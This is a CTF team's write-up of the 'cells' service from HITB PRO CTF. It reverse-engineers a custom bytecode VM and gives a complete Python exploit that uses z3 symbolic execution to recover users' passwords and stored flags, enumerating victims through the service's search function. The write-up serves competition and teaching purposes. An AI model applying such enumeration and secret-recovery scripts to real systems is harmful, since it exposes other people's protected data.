Saarsec

saarsec

Schwenk and pwn

HITB PRO CTF - cells

30 November 2021 by jk, egal

The cells service allows users to save their secret data in “DNA of cells”.

The service’s frontpage provides a login and registration form, as well as a search function:

frontpage

After login, users can store password protected data as a new “cell”, and download and check their already stored “cells”:

create_cell

Via the search function, we can also search for users matching a pattern and download their cells.

The webinterface is implemented as a python flask service, however, the store and check endpoints offload their main functionality to an ELF-binary simply called cells.elf.

The Flagstore

Unsurprisingly, flags are stored in other users’ cells. However, without a password, these cell-files seemingly only contain binary garbage. Thus, in order to get some flags, we either need to obtain a user’s password, or find some other way to recover the flag.

A custom VM

After spending some hours with Ghidra, we find that cells.elf actually implements a custom virtual machine. Storing a secret is implemented as generating a program which will output the flag and a checksum when given the corresponding password as input. Checking a secret is then simply executing the generated program with the provided password and verifying the checksum. This also explains the content of the downloadable cell-files: The presumed binary garbage is actually VM bytecode.

For example, in one cell the gameserver stored the flag OADJUIS7KNBFLTNY4P5MZFEE0EDC381= using the password U0VSegNW, which resulted in the following cell:

19017c180a18382618382618b7007c140a18b7007c100a18b8007c0c0a18b9007c080a18ba007c040a18bb007c000a18480e188c0e18bf007c14026854007cf40918bd007cf00918c0007cec0918c1007ce80918c2007ce40918c3007ce00918c4007cdc0918c5007cd80918c6007cd40918c7007cd00918c8007ccc0918c9007cc80918ca007cc40918cb007cc00918cc007cbc0918cd007cb80918ce007cb40918cf007cb00918d0007cac0918d1007ca80918d2007ca40918d3007ca00918d4007c9c0918d5007c980918d6007c940918d7007c900918d8007c8c0918d9007c880918da007c840918db007c800918dc007c7c0918dd007c780918de007c740918df007c700918e0007c6c0918e1007c680918e2007c640918e3007c600918e4007c5c0918e5007c580918e6007c4c111a500918e6007c4c0918e8007c480918e9007c440918ea007c400918eb007c3c0918ec007c380918ed007c340918ee007c300918ef007c2c0918f0007c280918f1007c240918f2007c200918f3007c1c0918f4007c180918f5007c140918f6007c100918f7007c0c0918f8007c080918f9007c040918fa007c000918fb007cfc0818fc007cf80818fd007cf40818fe007cf00818ff007cec081800017ce8081801017ce4081802017ce0081803017cdc081804017cd8081805017cd4081806017cd0081807017ccc081808017cc8081809017cc408180a017cc008180b017cbc08180c017cb808180d017cb408180e017c5cff2f00003cc0ac04b4b018a89c08b0a018989418aca80c9ca418a49c18889c04888c1898880478880c848808787c18708408686c1874800c941818fc007c70640874681854580c606c08546018484c1860540c4440185440184440044c4818ac0c1805017c3c38043430183c2804343c18342c083034081c140c1828040c1804181c180c208808081806017c08081812017c08081813017c08081814017c08081815017c08081816017c08081817017c08081818017c78701819017c7424181a017c702c181b017c5200007068181b017ccb1a003808181c017c0700003500005014181c017ce80000cf21007420181d017c54081820017c5000003c0000672200350000daffff7f0000aa0f00b4ffff74000018101818017c63220010081821017c3a0000ea0000280c1821017c080000890000380000520000010000230000380000eb1c00930000910000350000310000

And indeed, executing this cell returns the flag plus a hex-encoded checksum separated by a comma:

$ ./cells.elf cell.pk.cell U0VSegNW 
OADJUIS7KNBFLTNY4P5MZFEE0EDC381=,141e7970

VM internals

The VM uses 3 bytes to encode an instruction. Bits 21-18 denote the opcode, and bits 18-0 encode the arguments: three six-bit arguments for comparison operators, two eight-bit arguments for arithmetic instructions, or a single 16- or 18-bit argument (I/O and jump instructions). In most cases, arguments are interpreted relative to the program counter. In addition, the two highest bits have special functions: Bit 23 (restart) signals that after this instruction, the program counter shall be reset to zero, while bit 22 (remove) indicates that the instruction should be removed from the program once it has been executed.

Execution operates on an array structure, where each slot stores a 4-byte value. The array is initialized by loading 3-byte chunks from the input cells file. During execution, the slot pointed to by the program counter will be decoded as an instruction, executed, and the result written back into the current slot, if a new value was generated. Execution terminates, once the current slot cannot be decoded as a valid instruction, on a JMP instruction to address 0, or when a given number of steps is exceeded (5000 by default).

In total, the VM has 17 opcodes:

opcode instruction  
0   illegal instruction
1 add x y arr[pc] = arr[pc + x] + arr[pc + y]
2 sub x y arr[pc] = arr[pc + x] - arr[pc + y]
3 mul x y arr[pc] = arr[pc + x] * arr[pc + y]
4 div x y arr[pc] = arr[pc + x] / arr[pc + y]
5 rem x y arr[pc] = arr[pc + x] % arr[pc + y]
6 xor x y arr[pc] = arr[pc + x] ^ arr[pc + y]
7 or x y arr[pc] = arr[pc + x] | arr[pc + y]
8 and x y arr[pc] = arr[pc + x] & arr[pc + y]
9 copy imm16 arr[pc] = signext(imm16)
a input imm16 arr[pc + imm16] = getchar() (input is taken from cmdline argument, not stdin)
b output imm16 putchar(arr[pc + signext(imm16)])
c ifzero x y z arr[pc] = arr[x] (presumably should have been arr[pc] = (arr[pc + x] == 0) ? arr[pc + y] : arr[pc + z])
d ifgt x y z arr[pc] = arr[x] (presumably should have been arr[pc] = (arr[pc + x] < 1) ? arr[pc + z] : arr[pc + y])
e ifls x y z arr[pc] = arr[x] (presumably should have been arr[pc] = (arr[pc + x] < 0) ? arr[pc + y] : arr[pc + z])
f skip imm18 pc = pc + imm18
10 skipref imm18 pc = arr[pc + imm18] (cannot be decoded, instruction decoder truncates opcodes to 4 bits) 
OP = ['ILLEGAL','ADD','SUB','MUL','DIV','REM','XOR','OR','AND','COPY','INPUT','OUTPUT','IFZERO','IFGT','IFLS','SKIP','SKIPREF']
class Cmd:
    def __init__(self):
        self.opcode = 0
        self.reload = False
        self.remove = False
        self.arg1 = 0
        self.arg2 = 0
        self.arg3 = 0

    def __str__(self):
        return f'{self.opcode:02x} ({OP[self.opcode]:3}) {self.arg1:x} {self.arg2:x} {self.arg3:x}' + (' reload' if self.reload else '') + (' remove' if self.remove else '')

def decode(ins):
    cmd = Cmd()

    cmd.opcode = (ins>>0x12)&0xf
    cmd.reload = ((ins>>0x16)&2)!=0
    cmd.remove = ((ins>>0x16)&1)!=0

    if 1 <= cmd.opcode <= 7:
        cmd.arg1 = (ins>>0xa) & 0xff
        cmd.arg2 = (ins>>0x2) & 0xff
    elif cmd.opcode == 9:
        cmd.arg1 = (ins>>2) & 0xffff
        if cmd.arg1&0x8000:
            cmd.arg1 |= 0xffff0000
    elif cmd.opcode == 10:
        cmd.arg1 = (ins>>2) & 0xffff
    elif cmd.opcode == 11:
        cmd.arg1 = (ins>>2) & 0xffff
        if cmd.arg1 & 0x8000:
            cmd.arg1 |= 0xffff0000
    elif 0xc <= cmd.opcode <= 0xe:
        cmd.arg1 = (ins>>0xc) & 0x3f
        cmd.arg2 = (ins>>6) & 0x3f
        cmd.arg3 = ins & 0x3f
    elif 0xf <= cmd.opcode <= 0x10:
        cmd.arg1 = ins & 0x3ffff

    if cmd.arg1&0x80000000:
        cmd.arg1 -= 0x100000000
    if cmd.arg2&0x80000000:
        cmd.arg2 -= 0x100000000
    if cmd.arg3&0x80000000:
        cmd.arg3 -= 0x100000000

    return cmd

Given that the generated programs are quite short, the number of opcodes is small, and the password length is limited to eight characters, we did what anyone with a background in writing symbolic execution engines for weird VMs would do: re-implement the VM in python to make a symbolic execution engine.

The idea here was that if we can execute a cell program symbolically, we might have enough information to feed to z3 to recover the flag and password.

To keep things simple (and since it was already way past midnight at that point), we only handled the easy cases and ignored symbolic program counters etc. The implementation is mostly straightforward, though in some cases python integers and z3 BitVecs require individual handling (e.g. integer division):

def exec(arr, inputs, max_steps):
    step = 0
    pc = 0
    finished = False
    output = []
    next_input = 0
    while not finished:
        old_pc = pc
        value = arr[(pc)%len(arr)]
        if not isinstance(value, int):
            return 'Error, attempting to execute symbolic cell!!'
        cmd = decode(value)
        step += 1
        if cmd.opcode == 1:
            v1, v2 = arr[(cmd.arg1 + old_pc)%len(arr)], arr[(cmd.arg2 + old_pc)%len(arr)]
            value = v1 + v2
            value &= 0xffffff
        elif cmd.opcode == 2:
            v1, v2 = arr[(cmd.arg1 + old_pc)%len(arr)], arr[(cmd.arg2 + old_pc)%len(arr)]
            value = v1 - v2
            value &= 0xffffff
        elif cmd.opcode == 3:
            v1, v2 = arr[(cmd.arg1 + old_pc)%len(arr)], arr[(cmd.arg2 + old_pc)%len(arr)]
            value = v1 * v2
            value &= 0xffffff
        elif cmd.opcode == 4:
            v1, v2 = arr[(cmd.arg1 + old_pc)%len(arr)], arr[(cmd.arg2 + old_pc)%len(arr)]
            if isinstance(v1, int) and isinstance(v2, int):
                value = v1 // v2
            else:
                value = v1 / v2
            value &= 0xffffff
        elif cmd.opcode == 5:
            v1, v2 = arr[(cmd.arg1 + old_pc)%len(arr)], arr[(cmd.arg2 + old_pc)%len(arr)]
            value = v1 % v2
            value &= 0xffffff
        elif cmd.opcode == 6:
            v1, v2 = arr[(cmd.arg1 + old_pc)%len(arr)], arr[(cmd.arg2 + old_pc)%len(arr)]
            value = v1 ^ v2
        elif cmd.opcode == 7:
            v1, v2 = arr[(cmd.arg1 + old_pc)%len(arr)], arr[(cmd.arg2 + old_pc)%len(arr)]
            value = v1 | v2
        elif cmd.opcode == 8:
            v1, v2 = arr[(cmd.arg1 + old_pc)%len(arr)], arr[(cmd.arg2 + old_pc)%len(arr)]
            value = v1 & v2
        elif cmd.opcode == 9:
            value = arr[(cmd.arg1)%len(arr)]
        elif cmd.opcode == 10:
            value = inputs[next_input]
            if not isinstance(value, int):
                value = z3.ZeroExt(32-value.size(), value)
            next_input+=1
            arr[(cmd.arg1 + old_pc)%len(arr)] = value
        elif cmd.opcode == 11:
            v = (arr[(cmd.arg1 + old_pc)%len(arr)]) & 0xff
            if not isinstance(v, int):
                v = z3.Extract(7,0,v)
            output.append(v)
        elif cmd.opcode == 12:
            v1, v2, v3 = arr[(cmd.arg1)%len(arr)], arr[(cmd.arg2)%len(arr)], arr[(cmd.arg3)%len(arr)]
            if not isinstance(v1, int):
                return 'Error, symbolic condition value'
            value = v2 if v1==0 else v3
        elif cmd.opcode == 13:
            v1, v2, v3 = arr[(cmd.arg1)%len(arr)], arr[(cmd.arg2)%len(arr)], arr[(cmd.arg3)%len(arr)]
            if not isinstance(v1, int):
                return 'Error, symbolic condition value'
            value = v3 if v1<1 else v2
        elif cmd.opcode == 14:
            v1, v2, v3 = arr[(cmd.arg1)%len(arr)], arr[(cmd.arg2)%len(arr)], arr[(cmd.arg3)%len(arr)]
            if not isinstance(v1, int):
                return 'Error, symbolic condition value'
            value = v2 if v1<0 else v3
        elif cmd.opcode == 15:
            v1 = cmd.arg1
            if not isinstance(v1, int):
                return 'Error, symbolic jmp-target'
            new_pc = (pc+v1)%len(arr)
            if new_pc<pc and cmd.remove:
                new_pc+=1
            pc = new_pc
            if v1 == 0:
                finished = True
        elif cmd.opcode == 16:
            v1 = arr[(cmd.arg1)%len(arr)]
            if not isinstance(v1, int):
                return 'Error, symbolic jmp-target'
            pc = (pc+v1)%len(arr)

        if cmd.opcode!=15 and cmd.opcode!=16:
            pc = pc+1
        if cmd.remove:
            arr = arr[:old_pc] + arr[old_pc+1:]
            pc -= 1
        if cmd.opcode!=15 and cmd.opcode!=16 and cmd.opcode!=10 and cmd.opcode!=11:
            value = value&0xffffffff
            arr[(old_pc)%len(arr)] = value
        if cmd.reload:
            pc = 0

    return output

Adding Constraints

Given an array of eight symbolic input bytes, this function provides us with an array of output-expressions:

    inputs = [z3.BitVec(f'input_{i}', 8) for i in range(8)]
    output = exec(arr, inputs, 50000)

We further know that all input and output bytes are in the printable range:

    s = z3.SolverFor('QF_ABV')
    for i in inputs:
        s.add(z3.ULT(0x20, i))
        s.add(z3.ULT(i, 0x7f))
    for o in output:
        s.add(z3.ULT(0x20, o))
        s.add(z3.ULT(o, 0x7f))

In addition we can make use of the checksum: The ninth-last output must be a comma, and the remaining eight characters must be hexdigits:

    s.add(output[-9] == ord(','))
    for o in output[-8:]:
        s.add(z3.Or(z3.And(z3.ULT(0x2f, o), z3.ULT(o,0x3a)), z3.And(z3.ULT(0x60,o), z3.ULT(o,0x67))))

Lastly, we can also recompute the checksum. Fortunately, for this we use the given python code as is, and only need to provide a to_hex function that can handle symbolic values:

    csum = csum_b(output[:-9])
    csum_out = to_hex_expr(csum)

    for x,y in zip(csum_out, output[-8:]):
        s.add(x==y)

From here we should have given z3 enough to work with to recover the password and the flag:

    assert s.check() == z3.sat
    mod = s.model()
    passwd = bytes(mod.eval(i).as_long() for i in inputs)
    output = bytes(mod.eval(o).as_long() for o in output)

    return passwd, output

which, indeed, works:

In [1]: with open('cell.pk.cell','rb') as f:
   ...:     cell = f.read()
   ...: 

In [2]: solve(cell)
Out[2]: (b'U0VSegNW', b'OADJUIS7KNBFLTNY4P5MZFEE0EDC381=,141e7970')

Getting cells

The Flag-IDs provided for the service were the filenames of the target users’ cell files. However, the usernames themselves were not provided, which was an issue since downloading files required both. Fortunately, we can use the search function to fill this gap: Searching every possible two-gram of valid user-name characters (uppercase + lowercase + digits) should return each user at least once.

Combined, this was our final exploit:

import requests
import sys
import json
from bs4 import BeautifulSoup
import itertools
import string
import os

import z3

OP = ['ILLEGAL','ADD','SUB','MUL','DIV','REM','XOR','OR','AND','COPY','INPUT','OUTPUT','IFZERO','IFGT','IFLS','SKIP','SKIPREF']
class Cmd:
    def __init__(self):
        self.opcode = 0
        self.reload = False
        self.remove = False
        self.arg1 = 0
        self.arg2 = 0
        self.arg3 = 0

    def __str__(self):
        return f'{self.opcode:02x} ({OP[self.opcode]:3}) {self.arg1:x} {self.arg2:x} {self.arg3:x}' + (' reload' if self.reload else '') + (' remove' if self.remove else '')

def decode(ins):
    cmd = Cmd()

    cmd.opcode = (ins>>0x12)&0xf
    cmd.reload = ((ins>>0x16)&2)!=0
    cmd.remove = ((ins>>0x16)&1)!=0

    if 1 <= cmd.opcode <= 7:
        cmd.arg1 = (ins>>0xa) & 0xff
        cmd.arg2 = (ins>>0x2) & 0xff
    elif cmd.opcode == 9:
        cmd.arg1 = (ins>>2) & 0xffff
        if cmd.arg1&0x8000:
            cmd.arg1 |= 0xffff0000
    elif cmd.opcode == 10:
        cmd.arg1 = (ins>>2) & 0xffff
    elif cmd.opcode == 11:
        cmd.arg1 = (ins>>2) & 0xffff
        if cmd.arg1 & 0x8000:
            cmd.arg1 |= 0xffff0000
    elif 0xc <= cmd.opcode <= 0xe:
        cmd.arg1 = (ins>>0xc) & 0x3f
        cmd.arg2 = (ins>>6) & 0x3f
        cmd.arg3 = ins & 0x3f
    elif 0xf <= cmd.opcode <= 0x10:
        cmd.arg1 = ins & 0x3ffff

    if cmd.arg1&0x80000000:
        cmd.arg1 -= 0x100000000
    if cmd.arg2&0x80000000:
        cmd.arg2 -= 0x100000000
    if cmd.arg3&0x80000000:
        cmd.arg3 -= 0x100000000

    return cmd

def exec(arr, inputs, max_steps):
    step = 0
    pc = 0
    finished = False
    output = []
    next_input = 0
    while not finished:
        old_pc = pc
        value = arr[(pc)%len(arr)]
        if not isinstance(value, int):
            return 'Error, attempting to execute symbolic cell!!'
        cmd = decode(value)
        step += 1
        if cmd.opcode == 1:
            v1, v2 = arr[(cmd.arg1 + old_pc)%len(arr)], arr[(cmd.arg2 + old_pc)%len(arr)]
            value = v1 + v2
            value &= 0xffffff
        elif cmd.opcode == 2:
            v1, v2 = arr[(cmd.arg1 + old_pc)%len(arr)], arr[(cmd.arg2 + old_pc)%len(arr)]
            value = v1 - v2
            value &= 0xffffff
        elif cmd.opcode == 3:
            v1, v2 = arr[(cmd.arg1 + old_pc)%len(arr)], arr[(cmd.arg2 + old_pc)%len(arr)]
            value = v1 * v2
            value &= 0xffffff
        elif cmd.opcode == 4:
            v1, v2 = arr[(cmd.arg1 + old_pc)%len(arr)], arr[(cmd.arg2 + old_pc)%len(arr)]
            if isinstance(v1, int) and isinstance(v2, int):
                value = v1 // v2
            else:
                value = v1 / v2
            value &= 0xffffff
        elif cmd.opcode == 5:
            v1, v2 = arr[(cmd.arg1 + old_pc)%len(arr)], arr[(cmd.arg2 + old_pc)%len(arr)]
            value = v1 % v2
            value &= 0xffffff
        elif cmd.opcode == 6:
            v1, v2 = arr[(cmd.arg1 + old_pc)%len(arr)], arr[(cmd.arg2 + old_pc)%len(arr)]
            value = v1 ^ v2
        elif cmd.opcode == 7:
            v1, v2 = arr[(cmd.arg1 + old_pc)%len(arr)], arr[(cmd.arg2 + old_pc)%len(arr)]
            value = v1 | v2
        elif cmd.opcode == 8:
            v1, v2 = arr[(cmd.arg1 + old_pc)%len(arr)], arr[(cmd.arg2 + old_pc)%len(arr)]
            value = v1 & v2
        elif cmd.opcode == 9:
            value = arr[(cmd.arg1)%len(arr)]
        elif cmd.opcode == 10:
            value = inputs[next_input]
            if not isinstance(value, int):
                value = z3.ZeroExt(32-value.size(), value)
            next_input+=1
            arr[(cmd.arg1 + old_pc)%len(arr)] = value
        elif cmd.opcode == 11:
            v = (arr[(cmd.arg1 + old_pc)%len(arr)]) & 0xff
            if not isinstance(v, int):
                v = z3.Extract(7,0,v)
            output.append(v)
        elif cmd.opcode == 12:
            v1, v2, v3 = arr[(cmd.arg1)%len(arr)], arr[(cmd.arg2)%len(arr)], arr[(cmd.arg3)%len(arr)]
            if not isinstance(v1, int):
                return 'Error, symbolic condition value'
            value = v2 if v1==0 else v3
        elif cmd.opcode == 13:
            v1, v2, v3 = arr[(cmd.arg1)%len(arr)], arr[(cmd.arg2)%len(arr)], arr[(cmd.arg3)%len(arr)]
            if not isinstance(v1, int):
                return 'Error, symbolic condition value'
            value = v3 if v1<1 else v2
        elif cmd.opcode == 14:
            v1, v2, v3 = arr[(cmd.arg1)%len(arr)], arr[(cmd.arg2)%len(arr)], arr[(cmd.arg3)%len(arr)]
            if not isinstance(v1, int):
                return 'Error, symbolic condition value'
            value = v2 if v1<0 else v3
        elif cmd.opcode == 15:
            v1 = cmd.arg1
            if not isinstance(v1, int):
                return 'Error, symbolic jmp-target'
            new_pc = (pc+v1)%len(arr)
            if new_pc<pc and cmd.remove:
                new_pc+=1
            pc = new_pc
            if v1 == 0:
                finished = True
        elif cmd.opcode == 16:
            v1 = arr[(cmd.arg1)%len(arr)]
            if not isinstance(v1, int):
                return 'Error, symbolic jmp-target'
            pc = (pc+v1)%len(arr)

        if cmd.opcode!=15 and cmd.opcode!=16:
            pc = pc+1
        if cmd.remove:
            arr = arr[:old_pc] + arr[old_pc+1:]
            pc -= 1
        if cmd.opcode!=15 and cmd.opcode!=16 and cmd.opcode!=10 and cmd.opcode!=11:
            value = value&0xffffffff
            arr[(old_pc)%len(arr)] = value
        if cmd.reload:
            pc = 0

    return output

def csum_b(s):
    s = [z3.ZeroExt(32-8, x) for x in s]
    res = 0
    for i in range(len(s)//4):
        val = (s[4*i]) | ((s[4*i+1])<<8)  | ((s[4*i+2])<<16)  | ((s[4*i+3])<<24)
        res ^=val
    restsize = len(s)%4
    if restsize == 0:
        return res
    elif restsize == 1:
        return res ^ (s[-1])
    elif restsize == 2:
        return res ^ ((s[-2]) | ((s[-1]) << 8) )
    elif restsize == 3:
        return res ^ ((s[-3]) | ((s[-2]) << 8) | ((s[-1]) << 16))

def to_hex(nibble):
    assert(nibble.size()==4)
    nibble=z3.ZeroExt(4, nibble)
    return z3.If(z3.ULT(nibble, 10), nibble+0x30, nibble+0x57)

def to_hex_expr(expr):
    output = []
    for i in range(0, expr.size(), 4):
        output.append(to_hex(z3.Extract(i+3,i,expr)))
    return output[::-1]

def solve(raw):
    arr = [int.from_bytes(raw[i:i+3], byteorder='little') for i in range(0, len(raw), 3)]
    inputs = [z3.BitVec(f'input_{i}', 8) for i in range(8)]
    output = exec(arr, inputs, 50000)


    s = z3.SolverFor('QF_ABV')
    for i in inputs:
        s.add(z3.ULT(0x20, i))
        s.add(z3.ULT(i, 0x7f))
    for o in output:
        s.add(z3.ULT(0x20, o))
        s.add(z3.ULT(o, 0x7f))
    s.add(output[-9] == ord(','))
    for o in output[-8:]:
        s.add(z3.Or(z3.And(z3.ULT(0x2f, o), z3.ULT(o,0x3a)), z3.And(z3.ULT(0x60,o), z3.ULT(o,0x67))))

    csum = csum_b(output[:-9])

    csum_out = to_hex_expr(csum)

    assert(len(csum_out) == 8)

    for x,y in zip(csum_out, output[-8:]):
        s.add(x==y)

    assert s.check() == z3.sat

    mod = s.model()
    passwd = bytes(mod.eval(i).as_long() for i in inputs)

    output = bytes(mod.eval(o).as_long() for o in output)

    return passwd, output

   
def main(target):
    url = f'http://{target}:5000/'
    
    alphabet = string.ascii_letters + string.ascii_uppercase + string.digits
    links = set()
    for fragment in itertools.combinations(alphabet, 2):
        r = requests.get(url + "search", params={"template": "".join(fragment)})
        if r.status_code != 200:
            continue
        soup = BeautifulSoup(r.text, 'html.parser')
        entries = soup.find_all("a")
        for a in entries:
            link = a["href"]
            if not link.startswith("/data") or link in links:
                continue
            try:
                cell = requests.get(url+link).content
                passwd, flag = solve(cell)
                if flag:
                    print(flag.decode())
                links.add(link)
            except Exception as e:
                pass


if __name__ == '__main__':
    main(sys.argv[1])

Patch and Final thoughts

Patching the cells service proved quite difficult: Restricting the search function to patterns longer than two characters is impossible, since the gameserver checks for such short patterns. The only way out is therefore to make the generated cell programs more complicated. For example, to defend against our exploit, it would have been enough to obfuscate the code by XORing it with one of the input bytes. As the resulting expressions would have been symbolic, we could have no longer decoded the instructions correctly. However, during the CTF a overwhelming desire for sleep meant that our cells service remained unpatched.

All-in-all we were very happy to see a service requiring symbolic execution and constraint solving in an A/D-CTF (at least I was). The intended patch of simply making the program “too hard” for inversion seems a little unsatisfying at first, but really one cannot do better without proving P vs NP. With that: 10/10, would sploit again.